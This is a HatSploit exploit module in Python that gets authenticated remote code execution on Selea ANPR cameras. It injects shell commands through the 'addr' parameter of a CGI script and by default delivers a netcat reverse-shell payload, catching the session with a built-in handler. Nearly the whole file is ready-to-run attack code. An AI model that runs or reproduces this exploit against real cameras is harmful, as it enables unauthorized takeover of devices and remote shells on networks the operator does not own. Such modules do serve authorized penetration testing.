#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.http import HTTPClient


class HatSploitModule(Module, Handler, HTTPClient):
    details = {
        'Name': "Selea ANPR Camera Authenticated RCE",
        'Module': "exploit/unix/selea/anpr_authenticated_rce",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'LiquidWorm (liquidworm) - vulnerability researcher'
        ],
        'Description': "Selea ANPR Camera authenticated remote code execution.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "unix/generic/netcat_reverse_tcp",
        'Categories': None,
        'Architectures': [
            'mipsle',
            'mipsbe',
            'generic'
        ],
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 81,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'USERNAME': {
            'Description': "Username for authorization.",
            'Value': "admin",
            'Type': None,
            'Required': True
        },
        'PASSWORD': {
            'Description': "Password for authorization.",
            'Value': None,
            'Type': None,
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    def exploit(self, remote_host, remote_port, username, password, command):
        self.http_request(
            method="GET",
            host=remote_host,
            port=remote_port,
            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\ $({command})&type=port&port=80',
            auth=(username, password),
            output=False
        )

    def check(self, remote_host, remote_port, username, password):
        response = self.http_request(
            method="GET",
            host=remote_host,
            port=remote_port,
            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\ $(echo)&type=port&port=80',
            auth=(username, password),
            output=False
        )

        if not response or response.status_code != 200:
            self.output_error("Target is not vulnerable!")
            return False

        return True

    def run(self):
        remote_host, remote_port, local_host, local_port, username, password, blinder = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host, remote_port, username, password):
            self.output_error("Exploit failed!")
            return

        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=self.execute_command,
                args=[remote_host, remote_host, username, password]
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                payload=self.payload,
                sender=self.execute_command,
                args=[remote_host, remote_port, username, password],
                timeout=10
            )
